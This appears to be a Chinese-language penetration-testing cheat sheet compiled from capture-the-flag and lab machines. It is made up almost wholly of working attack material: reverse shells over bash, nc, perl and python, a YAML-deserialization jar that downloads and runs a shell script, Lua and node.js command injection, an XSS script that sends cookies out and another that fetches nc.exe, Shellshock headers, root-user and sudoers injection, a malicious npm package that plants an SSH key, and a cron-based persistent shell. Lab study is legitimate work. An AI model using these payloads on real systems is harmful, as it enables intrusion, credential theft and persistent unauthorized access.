1. 测试联通!!javax.script.ScriptEngineManager [  !!java.net.URLClassLoader [[    !!java.net.URL ["http://10.10.14.7/"]  ]]]2. 下载并修改恶意jarproxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git修改AwesomeScriptEngineFactory.java 参数先要检测ping:ping -c [ip]而后才是命令执行:3. 编译javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java jar -cvf ping.jar -C src/ .  //打包4. 实现反弹端口(java)中一般选择sh调用。其他的容易出错5. 写一个脚本(shell.sh)==============================================#!/bin/bashbash -i >& /dev/tcp/10.10.14.196/4242 0>&1==============================================6. 将java文件修改成如下==============================================public class AwesomeScriptEngineFactory implements ScriptEngineFactory {    public AwesomeScriptEngineFactory() {        try {            Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");            Runtime.getRuntime().exec("chmod +x /tmp/shell.sh");            Runtime.getRuntime().exec("bash /tmp/shell.sh");        } catch (IOException e) {            e.printStackTrace();        }    }=================================================

根据已知密码与其变种密码hash爆破

password是已知密码
hash是其变种的hash

hashcat -m 3200 hash password --user -r /usr/share/hashcat/rules/best64.rule

java/jackson反弹端口

出现在网页上
遇到是在一个存在json输入界面的web

这一段输入到json输入框t["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.29/test.sql'"}]==================test.sql=========================CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {        String[] command = {"bash", "-c", cmd};        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");        return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('ping -c 1 10.10.14.29')

enc后缀加密文件/.gnupg/其所属的gpg密钥环

在gpg密钥的目录下netpgp --decrypt --output=/tmp/rong.tar.gz backups/devel_backup-2020-09-16.tar.gz.enc

bsd系统

标志文件:doas
最好使用rm反弹shell
当具有用户密码时,采用如下方式登陆
doas sh

curl带凭据访问

curl -s http://127.0.0.1:3001/~r.michaels/ -u webapi_user:iamthebest

curl强制执行get(多用于注入等)

curl -G --data-urlencode "city=') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f') --" 'http://10.129.18.130/weather/forecast' -s

lua注入

基本按照如下顺序来测试

curl -s  ”http://10.10.10.218/weather/forecast?city='“curl -s "http://10.129.18.130/weather/forecast?city=')+--"curl -s "http://10.129.18.130/weather/forecast?city=')+os.execute('id')+--"curl -G --data-urlencode "city=') os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f') --" 'http://10.129.18.130/weather/forecast' -s

批量发送邮件

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "http://10.10.14.29/" --server 10.129.2.28

eamils是获取的全部邮箱

爬去页面所有邮箱

cewl -e --email_file emails.txt http://sneakycorp.htb/team.php 

生成短的ssh密钥

我的本机已经存在了

ssh-keygen -t ed25519 -f id_rsaed25519

xss测试

1. 测试连通连接Test <a href="http://10.10.14.29/title">title link</a>测试连接一个文件Test <a href="http://10.10.14.29/content">body link</a><script> alert("Test")</script>本地开启nc监听端口,可以看到命令执行回显如果存在2.  测试命令执行Test <a href="http://10.10.14.29/$(whoami)">body link</a><script> alert("Test")</script>3. 写入密钥$IFS是空格替代Test <a href="http://10.10.14.29/$(echo$IFS'ssh-ed25519'$IFS'AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE'>'/home/web/.ssh/authorized_keys')">body link</a><script> alert("Test")</script>

服务器由python建立

如果存在一些提交信息框
可以尝试
{{77}}
或者
{7
7}
而后在帖子的相关页面源码看有没有49

图片上传

<?php system($_GET[‘cmd’]); ?>一句话直接vi进图片

打开jar

使用:jd-gui

目录爆破(目前最好用的)

gobuster dir -u http://10.129.36.23 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 40

网页类似ping功能

  1. 尝试本地包含
    http://10.10.1.4.7/shell.php
  2. 注意看是不是curl
    如果是的话curl -o

usb相关

USB 通常安装在 /media
输入mount查看所有挂载
然后复制到本地关键字搜索media
就可以知道安装在了/media下的哪里

而一般涉及到usb的一般会存在数据恢复
以下是两种方法

grep找到32位字符

grep -aPo ‘[a-fA-F0-9]{32}’ /dev/sdb

挂载法
ssh pi@10.10.10.48 "sudo dd if=/dev/sdb | gzip -1 -" | dd of=usb.gz这里的/dev/sdb指的是mount查出来的虚拟目录,而不是/media的实际目录gunzip usb.gzextundelete usb --restore-all

X-Pi-hole(截到的包)

存在/admin

弱口令,并且可以登陆ssh

piraspberry

稳定终端

$ python3 -c 'import pty;pty.spawn("/bin/bash")'$ ^Z #CTRL+Z to background the shell$ stty raw -echo$ fg # Plus two times enter$ export TERM=xterm$ stty rows 51 columns 173

steg隐写术

一般信息会给到steg,还会给到密码,找个文件,一般是图片如此使用即可

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

简单的端口反弹

建议直接去pentestmonket找,这只是常用的,方便用

bashrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 443 >/tmp/fpythonimport os;os.system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 9999 >/tmp/f’)

监听icmp

tcpdump -ni tun0 icmp

ssh隧道搭建

ssh nadine@10.10.10.184 -L 8443:127.0.0.1:8443

文件类

文件类

  1. file查看文件类型
  2. 具体分析
  3. 用strings和binwalk看(一定要看)
图片

binwalk(逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)

exiftool for-007.jpg    好用strings for-007.jpg     一般binwalk --通用分析一下,可能存在不一样的信息steghide extract -sf nsa.jpg   --可以拆解出图片信息

遇到打不开的图片file查看一下

hexeditor tokyo.jpeg头签名:(如果全图有这个头,那就把之前的删掉,如果没有就加一个,结尾是D9)FF D8 FF E0
视频
python2 tcsteg2.py -p  mulder.fbi

再使用truecrypt分析
注意有可能会有密码,要回顾之前所得

文件爆破
truecrack -v -t 【文件】 -w 【密码本】

得到密码再用VeraCrypt打开

压缩包doc等文件
爆破fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup 或者hash提取zip2john safe.zip > passjohn pass

登录框

  1. 注意页面源代码可能包含判断逻辑,注意js文件
  2. 考虑sql注入,弱口令,弱逻辑,易得密码本爆破,sql绕过
  3. 水平越权测试
  4. 如果不管增么登陆都是200,就要考虑rce,多加一个“测试,看能不能造成信息泄漏
admin' or '1'='1 # 或者单引号来测试sql

注册框

  1. 注册限制,看是否可以绕过(bp构造)
  2. 如果可以注册,那就看看嫩不嫩水平越权,常利用url(如果显示用户名的话)
Username: ' or 1='1Password: ' or 1='1Confirm password: ' or 1='1

留言框

很多情况都可以这么处理

<script src="http://10.10.14.5/test.js"></script>python3 -m http.server 80  --本地开服务器让那边找你这个test.js

xss窃听脚本

function pwn() {    var img = document.createElement("img");    img.src = "http://10.10.14.19/xss?=" + document.cookie;    document.body.appendChild(img);}pwn();

xss反弹shell

var request = new XMLHttpRequest();var params = 'cmd=dir|powershell -c "iwr -uri 10.10.14.6/nc.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.14.6 1234';request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');request.send(params);

反弹shell脚本配图
在这里插入图片描述

页面爆破无结果(只有默认页面)

爆后缀,找文件

dirb http://192.168.253.193/ -X .php

url无变化的变化页面

  1. 看页面源码有没有调用js
  2. dirb扫txt,html后缀

爆破id _rsa

python /usr/share/john/ssh2john.py id_rsa > 1.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt 1.txt

内网中无隧道扫描

for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep “bytes from” &); donefor i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done

搭建隧道

批量解码

cat s.txt | base64 -d  > 2.txt

无线爆破

aircrack-ng -w /root/Desktop/rockyou.txt eg-01.cap

js脚本审计

  1. /api/users类似的东西
  2. user,pass等关键字
  3. eval(function(p,a,c,k,e,d) 类

文件读取

抓包改成put头

流量分析

查看TCP流,或寻找pass或者找POST

Binwalk --通用分析一下
tcpflow ----分离流量包

1.TCP流tcp.stream eq 1tcp.stream eq 22.如果流量包内嵌有其他文件可以用tree分析3.抽离文件(适用于包含了图片啊,文本的情况)foremost 【文件】

pyc文件

uncompyle2 enc.pyc > enc.py

postgreaql

hydra

swaks

swaks 发邮件用的是smtp的口子

邮件格式

swaks --to eric@madisonhotels.com --from vvaughn@polyfector.edu --server 192.168.149.131:2525 --body "My kid will be a soccer player"  --header "Subject: My kid will be soccer player"

漏扫之后网站崩

可能开启了waf,nmap全端口扫一遍,可能会开新的端口

iptables(端口fileter就可能存在)

防火墙

sudo /sbin/iptables -L        --查看规则sudo /sbin/iptables --flush    --全部放行

绕过防火墙

python cve-2018-7600-drupal7.py -t 192.168.2.177 -c "which socat" -p 8000python cve-2018-7600-drupal7.py -t 192.168.2.177 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000kali执行socat FILE:`tty`,raw,echo=0 TCP:192.168.247.166:4444

vnc提权

vncviewer -passwd secret localhost:5904secret 是已经获得的密码文件并且要提前将端口转发出来(一般都是本地的服务)

MYSQL查询

mysql -uroot -pR@v3nSecurity   --登录select version();              --查看版本show databases;                --查看库use wordpress                  --使用库show tables;                   --查看表select * from wp_users;        --查找表内内容

LFI

三种尝试,再利用php伪协议
关注:path、dir、file、pag、page、archive、p、eng、等相关关键字

…/…/…/etc/passwd -----枚举目录的密码信息
?page= ----读取php
?bolo -----可能存在文件包含

curl http://192.168.247.152/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d

手工内网横向

查找存活IP:for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

探测端口

#!/bin/bashhosts=("172.18.0.1""172.18.0.2""172.18.0.3""172.18.0.4")END=65535for host in "${hosts[@]}"do   echo "==============================="   echo "Scanning $host"   echo "==============================="       for ((port=1;port<=END;port++))       do       echo "" > /dev/tcp/$host/$port && echo "Port $port is open"done 2>/dev/nulldone

内网穿越

socat

命令在上面

frp

命令在上面

文件上传混淆

GIF89a,双写,大小写
https://github.com/melbinkm/PHPImageShell

网站源码拷贝(低频率)

要求存在远程代码执行

cp /var/www/html/fristi/uploadstar -zcvf web.tar.gz /var/www/html/*cp web.tar.gz /var/www/html/fristi/uploads

前端需要关注的JS库

app.js

爆破压缩包

fcrackzip -u -D -p [字典地址]  rong.zip

rbash逃逸

先知7642
也可以利用ssh命令执行(ssh区域写了)

wap文件

http.request.method == “POST”
右键跟踪TCP流

(未完善)node.js反序列化

目前遇到一次,与立即执行函数挂钩

{"username":"Admin"}{"username":"_$$ND_FUNC$$_function (){return require('child_process').execSync('nc -e /bin/bash 192.168.247.129 6666', (error, stdout, stderr) =>{ console.log(stdout);});}()"}

(未完善)ss-manager(目前遇到了一次,与js反序列化一起出现)

直接谷歌搜exp
用法如下:

nc -u 127.0.0.1 8839  

因为这个玩意是在udp上跑的
添加:
{“server_port”:8003, “password”:“test”, “method”:“||touch /tmp/evil||”}
add: {“server_port”:8003, “password”:“test”, “method”:“||nc -e /bin/sh 192.168.247.129 4455 ||”}

WAF绕过

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 304 http://192.168.56.104/test.php?file=FUZZ |grep dirhttp://192.168.3.88/test.php?file=dayu;busybox nc 192.168.3.86 6666 -e s

文字处理(违规字符导致的无法解码)

1)base64
cat pw | base64 -d
{“alg”:“HS256”,“typ”:“JWT”}base64: 输入无效
第一部分枚举到信息是hs256、JWT?发现内容包含“.”点不是有效的base64字符

过滤点:

cat pw | cut -d "." -f 2 | base64 -d

{“sub”:“1234567890”,“name”:“John Doe”,“iat”:1516239022}base64: 输入无效
发现第二部分是1~0,人名,还是未解析完!

JWT爆破

1. 脚本爆破(或官网)./jwtcrack 2. jwt与js关联,所以要注意前端中js的存在,搜索js包,查找关键字,可能会有突破3. https://deobfuscate.io/(解码js)

外网可访问的数据库页面

wfuzz爆破数据库表等。造成信息泄露

cgi shellshock

当扫出来cgi目录时(建议gobuster)
要针对cgi目录进深度扫描

feroxbuster -u http://10.129.12.37/cgi-bin/ -x sh,cgi,pl如果能扫到,就说明可以shellshock来搞
User-Agent: () { :;}; echo; /usr/bin/idUser-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.63/6666 0>&1

五、突破点(提权)

手工提权信息查询

内核、系统信息查询uname -a    打印所有可用的系统信息uname -r    内核版本uname -n    系统主机名。uname -m    查看系统内核架构(64位/32位)hostname    系统主机名cat /proc/version    内核信息cat /etc/*-release   分发信息cat /etc/issue       分发信息cat /proc/cpuinfo    CPU信息cat /etc/lsb-release # Debian cat /etc/redhat-release # Redhatls /boot | grep vmlinuz-可提权SUID查询;(这个是重中之重,后面附加的ls可以更快的识别到我们可以玩的二进制文件)find / -user root -perm -4000 2>/dev/null -lsps aux | grep -v root查找有权限执行的文件find / -user anansi 2>&1 | grep -v "Permission denied\|proc"注意看用户目录下的 .bash_history如果不是0字节,就打开看看查找可读可写可执行的文件(通常用来寻找计划任务)find / -perm 777 -type f 2>/dev/nullapache如果可能需要www权限,记得去var枚举枚举

chkrootkit提权

update文件写入

printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/443 0>&1\n' >> /tmp/updatechmod 777 /tmp/updatenc -nlvp 443

(未完善)计划任务写入提权/高权限可执行文件

关于计划任务,应该使用pspy来检查进程,有可能会存在chkrootkit

echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis   给对方www-data加入sudo权限:echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/updatechmod +x /tmp/update高权限可执行文件#!/bin/shbash原地提权或者直接用后门覆盖

新建命令绕过无法使用的限制

适用于重要命令无法运行
例如:cat a即可提权,但是cat用不了

echo /bin/bash > cat    ---创建一个shell命令的文件:/bin/shchmod 777 cat           ---赋权export PATH=/tmp:$PATH  ---赋予tmp目录环境变量

脚本exec等执行命令中存在$path等变量

去到$path地方,建一个;文件,而后写入命令即可,命令如下

touch '; nc 10.10.xx.xx 1338 -c bash'

高权限.sh等文件可以输入或者选项

直接输入bash即可提权

高权限py等文件可以输入或者选项,以及脚本命令执行时的夹带私货,一般常见于可执行ping命令

$
测试:10.10.10.$(echo 7)执行:$(/tmp/d.sh)(d.sh是恶意payload)

(未完善)find提权

其他二进制文件无法直接拿到root,而转进得方法

查看是否存在find命令setuid执行权限:find / -perm -4000 2>/dev/null | grep findecho "chmod u+s /usr/bin/find"> shell.shchmod +x shell.shsudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root创建完成确认find命令是否成功被赋予setuid权限:find / -perm -4000 2>/dev/null | grep find执行find命令开始提权find /tmp -exec sh -i \;   ---发现没有获得root权限find . -exec /bin/sh -p\;  --- -p执行即可

新增root权限用户提权

如果etc/passwd可写,就可以如此利用

perl -le 'print crypt("rong","aa")'这里会回显一个加密后的密码aa3ivx.lC6a0wecho 'rongroot:aa3ivx.lC6a0w:0:0:rongroot:/root:/bin/bash' >>/etc/passwdsu rongroot

systemctl提权

网站中说的不详细
写一个rong.service文件,包含以下内容

[Service]Type=notifyExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.8 443'KillMode=processRestart=on-failureRestartSec=42s[Install]WantedBy=multi-user.target

而后链接再启动

systemctl link /home/pepper/rong.servicesystemctl start

Lxc提权

方法一:拖镜像挂载root而后写命令到sudoers
创建lxd init   ----   一直回车创建了一个lxc容器:lxc init ubuntu:16.04 test -c security.privileged=true分配了安全权限,并将整个磁盘挂载到/mnt/root:lxc config device add test whatever disk source=/ path=/mnt/root recursive=true这时候会下载几分钟!lxc start testlxc exec test bash这时候挂载的test 乌班图容器就挂载好了,执行命令:执行的还是所有权命令:echo "%webdeveloper ALL=(ALL:ALL) ALL" >> /mnt/root/etc/sudoersexit sudo su
方法二:简单快捷

镜像覆盖法

1. 传输,这是alphina的base64echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2如果base64出错了就重新下载proxychains4 -f /etc/proxychains4.conf git clone https://github.com/saghul/lxd-alpine-builder.gitcd lxd-alpine-builderproxychains4 -f /etc/proxychains4.conf ./build-alpine选一个压缩包就行1.导入lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias rong-image2. 运行 lxd init3. 创建容器lxc init rong-image container-rong -c security.privileged=true4. 挂载主机到lxdlxc config device add container-rong device-rong disk source=/ path=/mnt/root5. 启动lxc start container-rong6. 返回shelllxc exec container-rong /bin/sh

nmap提权

sudo -l提示nmapfind / -name nmap 2>/dev/null   --找到nmap在哪里/usr/local/bin/nmap              /usr/local/share/nmap ---有上面这两个目录,我们选择bin目录下的nmap!id!/bin/bash -p-p是特权模式,这里借助的原理是nmap按照root运行,然后namoa也有自己的shell

环境变量挟持提权

如果已经存在的环境变量被高权限调用了,那么可以挟持来提权

echo "/bin/dash" > /tmp/netstat   或者反弹shellecho -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.29/443 0>&1' > fdisk这两个-e与不-e目前没有发现什么不同,实际使用可以互相都用一下chmod +x /tmp/netstatexport PATH=/tmp:$PATH       ----只有tmp才有写权限netscan

共享库提权

nm -g /lib/libpinksec.so    --查看函数

_init。,从这里开始,他下面的函数才执行,也就是构成下面的payload的函数

#include int psbanner() {    return system("/bin/sh");  }int psopt() {  return system("/bin/sh");}int psoptin() {  return system("/bin/sh");}
vi shell.c     --写入上面的payloadgcc -shared -o shell.so -fPIC shell.c     -----不包含_init的方式gcc -shared -o shell.so -fPIC -nostartfiles shell.c      -----包含_init的方式cp shell.so /lib/libpinksec.so   --覆盖./pinksecd    --执行

挟持环境变量提权

echo "/bin/dash" > /tmp/netstat   chmod +x /tmp/netstatexport PATH=/tmp:$PATH       只有tmp才有写权限netscan

pip提权

应用于pip具有sudo权限

本地监听nc -tvlp 9900-------------------------脚本部分-------------------------from setuptools import setup   #加入def con():import socket, time,pty, oshost='192.168.247.129'port=9900s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(10)s.connect((host,port))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)os.putenv("HISTFILE",'/dev/null')pty.spawn("/bin/bash")s.close()con()setup(name="hahahaha", version="1.0")  #加入--------------------------------------------------------------上传wget http://10.211.55.19:8081/setup.pysudo /usr/bin/pip install . --upgrade --force-reinstall

docker提权

常见漏洞点: Docker Remote api
识别点:2375端口,/run/docker.sock,可以看到宿主的容器

 /run/docker.sock docker ps    ------如果显示了宿主机的docker,那么就存在漏洞
2375开放(外网直接打)
docker -H tcp://192.168.52.128:2375 images    --查看容器组docker -H tcp://192.168.52.128:2375 ps      --查看正在运行的容器docker -H tcp://192.168.52.128:2375 run --rm -it -v /:/tmp/1/ wordpress /bin/bash挂载宿主目录
2375端口不开放(内网机器开搞)
挂载宿主机到docker上docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash或docker run -v /:/host -t -i bash

如果docker被卸载

vim /etc/apt/sources.listapt-get updateapt-get install docker.io

adm用户敏感信息枚举

cd /var/loggrep -r passw . 2>/dev/null   

snmp提权(借助恶意快照包的安装实现)

cd /tmp

python -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A" * 4256 + "=="' | base64 -d > exploit.snap
sudo /usr/bin/snap install --devmode exploit.snapsu dirty_sockdirty_socksudo -i

计划任务压缩包

如果命令完备不存在路径问题,那么可以考虑软链接的方式
首先要在被压缩的目录中找到一个可写的目录
find . -writable
而后

ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/

再备份的时候就可以备份/home/luis/了

ansible-playbook提权

写一个rev.yml

- hosts: localhost  tasks:  - name: rev    shell: bash -c 'bash -i >& /dev/tcp/10.10.14.22/443 0>&1'
sudo ansible-playbook rev.yml 

apt-get提权

echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.29/8888 0>&1"' | base64 -w0echo 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvODg4OCAwPiYxIgo= | base64 -d | bash"};' > 000-shell

存在env_keep+=XDG_CONFIG_HOME

这种绕过方法被称作:
Privilege Escalation through Sudo Right Exploitation.
具体操作

1. 查看用户xdg设置情况echo "$XDG_CONFIG_HOME"2. 查看用户homeecho "$HOME"3. 强制修改xdg指向export XDG_CONFIG_HOME="$HOME/.config" 4. 写入echo "/bin/bash" >> /home/thomas/.config/neofetch/config.conf 5. 执行sudo /usr/bin/neofetch \"\" (后面的\"\" 是他们来sudo -l就自带的防止夹带命令的)

npm包挟持

例子中被调用的包是loglevel
所涉及的镜像是verdaccio(来自于npm管理页面)

1.创建一个目录mkdir loglevelcd loglevel2. 拉取镜像proxychains4 -f /etc/proxychains4.conf sudo docker run -it --rm  -p 4873:4873 verdaccio/verdaccio3. 添加用户npm adduser --registry http://10.10.14.6:48734. 创建npm init(需要更高版本,例如1.8.0改为2.0.05. 再写index.js=================================================const cp = require("child_process")cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali' > /root/.ssh/authorized_keys");function log(msg) {    console.log(msg);}function debug(msg) {    console.log(msg);}function warn(msg) {    console.log(msg);}module.exports.log = log;=================================================6. 发布npm publish --registry http://10.10.14.29:48737. 修改指向修改.npmrc 文件到我们的本地服务开启端口8. 执行(关于高权限调用npm包的脚本等)sudo /opt/app/startup.sh

六、小技巧

暴力拆解压缩包

–force-local参数

tar zxf backup-2022-11-24-10:56:33.gz --force-local

快捷的稳定shell

script /dev/null -c bash

一个简单的sh脚本

#!/bin/bashchmod +x /bin/bash

无python建立稳定shell

curl下载curl -O http://192.168.253.138:8082/socatchmod +x socatnc -vlp 9998HOME=/dev/shm ./socat tcp:192.168.253.138:9998 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane使用script:script -qc bash /dev/nullstty raw -echofg

无wget下载文件

curl
curl -O 【文件】curl -# -O 【文件】
nc
4444端口是kalinc 10.9.17.253 4444 < /tmp/backupnc -lnvp 4444 > backup或者先kalinc -l -p 1234 > secret.zip < /dev/null再cat secret.zip | nc 10.10.14.63 1234

软连接建立(可以用来避免root目录的保护)

ln -s /root/root.txt /tmp/rong

无nc的端口转发

bash -i >& /dev/tcp/192.168.247.129/6666 0>&1或者其他的网站中给到的

基于计划任务的持久shell

定时回弹,增加稳定性

vim 1.sh ----------------------------while true; do    perl -e 'use Socket;$i="10.211.55.19";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'    # sleep for 300 seconds (5 mins)    sleep 300done----------------------------wget http://10.211.55.19:8081/1.shchmod +x 1.sh./1.sh

缩减密码本

sort rong.txt | uniq > rong1.txt-u, --unique 配合-c,严格校验排序;不配合-c,则只输出一次排序结果

将加密rsa密钥转变成正常密钥(需要密码)

openssl rsa -in id_rsa -out id1_rsa  

(未完善)判断加密方式

1、如果密文是十进制,字符范围是“0-9”,可以猜测是ASCII编码;2.、如果密文为数字+字母构成,可以尝试rot13(常用)或者rotX(如果Base解出来的是乱码,可以尝试一下rot-13解码)3、如果密文有“%”,形式为“%xx”和“%uxxxx”,字符范围又是十六进制的“0-F”,判断是escape()函数编码,用unescape()解码;4、如果密文由“[],(),{},+,!”字符组成的编码通常就是通过Jother解码,可以使用Chrome浏览器对其进行解码,直接将需要解密的内容丢到 Console 回车就OK!5,如果密文是一堆乱七八糟的繁体字,那么就是佛语加密佛语前边要(中文冒号)加上“佛曰:”或者“ 如是我闻:”https://www.keyfc.net/bbs/tools/tudoucode.aspx

七、(代完善)缓冲区溢出专题

windows缓冲区溢出

ID分析

  1. 需要用到三个脚本
Fuzzer.py(造成溢出)#!/usr/bin/env python3import socket, time, sysip = "MACHINE_IP"port = 1337timeout = 5prefix = "OVERFLOW1 "string = prefix + "A" * 100while True:  try:    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:      s.settimeout(timeout)      s.connect((ip, port))      s.recv(1024)      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))      s.send(bytes(string, "latin-1"))      s.recv(1024)  except:    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))    sys.exit(0)  string += 100 * "A"  time.sleep(1)
exp.py(实际产生攻击效果)import socketip = "192.168.43.57"port = 1337prefix = "OVERFLOW1 "offset = 0(溢出点)overflow = "A" * offsetretn = ""(先是四个b,再是jmp)padding = ""  (最后一步填充 "\x90" * 16)payload = ""postfix = ""buffer = prefix + overflow + retn + padding + payload + postfixs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:  s.connect((ip, port))  print("Sending evil buffer...")  s.send(bytes(buffer + "\r\n", "latin-1"))  print("Done!")except:  print("Could not connect.")
badchar.py(坏字符相关)for x in range(1, 256):  print("\\x" + "{:02x}".format(x), end='')print()
